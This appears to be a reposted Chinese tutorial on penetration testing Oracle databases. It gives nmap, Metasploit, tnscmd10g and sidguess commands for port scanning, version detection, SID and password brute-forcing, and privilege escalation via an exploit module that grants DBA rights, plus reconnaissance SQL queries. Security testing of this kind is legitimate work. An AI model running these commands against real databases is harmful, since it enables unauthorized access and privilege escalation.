对oracle数据库的安全测试
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢? 检测数据库端口是否开放 这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令: nmap -Pn -n -T4 --open -p1521 检查数据库的版本信息 得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。 1 利用msf 使用如下模块来对数据库进行版本探测: msf > use auxiliary/scanner/oracle/tnslsnr_version2 使用tnscmd10g tnscmd10g是kali下的一个工具,命令如下: tnscmd10g version -h tnscmd10g status -h 通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息 获取数据库的SID 连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取: 1 使用msf msf下有两个模块可以完成这个操作,命令如下: msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute2 使用sidguess sidguess是kali下的一款爆破Oracle SID的工具,命令如下: sidguess -i -d /home/myh0st/pass.txt3 针对自带web管理平台 如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径: :8080/oradb/PUBLIC/GLOBAL_NAME枚举数据库账号密码 枚举爆破数据库连接账号密码可以使用下面的方式。 1 使用msf 使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下: msf > use auxiliary/admin/oracle/login_brute set SID 2 使用sqlplus sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码: sqlplus / @: /使用sql命令提权 在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块数据库系统安全,命令如下: msf > use auxiliary/admin/oracle/sql set DBUSER set DBPASS set SID set SQL select * from user_role_privs msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER set DBPASS set SID set SQL GRANT DBA TO set SQL GRANT JAVASYSPRIV TO 获取数据库里关键信息的sql命令 查询数据库版本: select * from v$version; 数据库打补丁情况: select * from dba_registry_history; 查看所有用户: select * from all_users; 查询数据库中的所有表: select owner,table_name from all_tables; 当前用户被激活的角色: select * from session_roles; 描述数据库对象: (编辑:威海站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |